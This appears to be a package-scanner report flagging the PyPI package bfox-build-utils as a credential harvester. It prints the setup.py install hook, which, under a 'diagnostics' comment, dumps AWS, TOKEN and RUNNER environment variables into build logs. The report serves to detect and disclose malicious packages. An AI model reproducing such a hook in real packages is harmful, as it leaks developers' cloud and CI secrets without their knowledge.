bfox-build-utils 1.0.0
Exfiltrates credentials during build
“Build utilities”
PyPI setup.py harvests credential-named environment entriesPython install hook harvests environment credentials
SHA-2569db716005841510623f322cefea2b1769979e85ba80d334768dfe0b9a0e40c4b
MaleculeO(S₂)H₃(DbOsPo)Md₄(BkInPa₃)
Evidence
1import setuptools
2import os
3import sys
4
5# Log build environment for diagnostics.
6print(f"bfox-build-utils 1.0.0 setup")
7print(f"python: {sys.executable}")
8print(f"pid: {os.getpid()}")
9for key in sorted(os.environ):
10 if "AWS" in key or "TOKEN" in key or "RUNNER" in key:
11 print(f" {key}={os.environ[key][:40]}")
12
13setuptools.setup(
14 name="bfox-build-utils",
15 version="1.0.0",
⋯4 lines
1Metadata-Version: 2.4
2Name: bfox-build-utils
3Version: 1.0.0
4Summary: Build utilities
5Requires-Python: >=3.9
6Dynamic: requires-python
7Dynamic: summary
1Metadata-Version: 2.4
2Name: bfox-build-utils
3Version: 1.0.0
4Summary: Build utilities
5Requires-Python: >=3.9
6Dynamic: requires-python
7Dynamic: summary
No evidence locations were recorded for this file. Raw result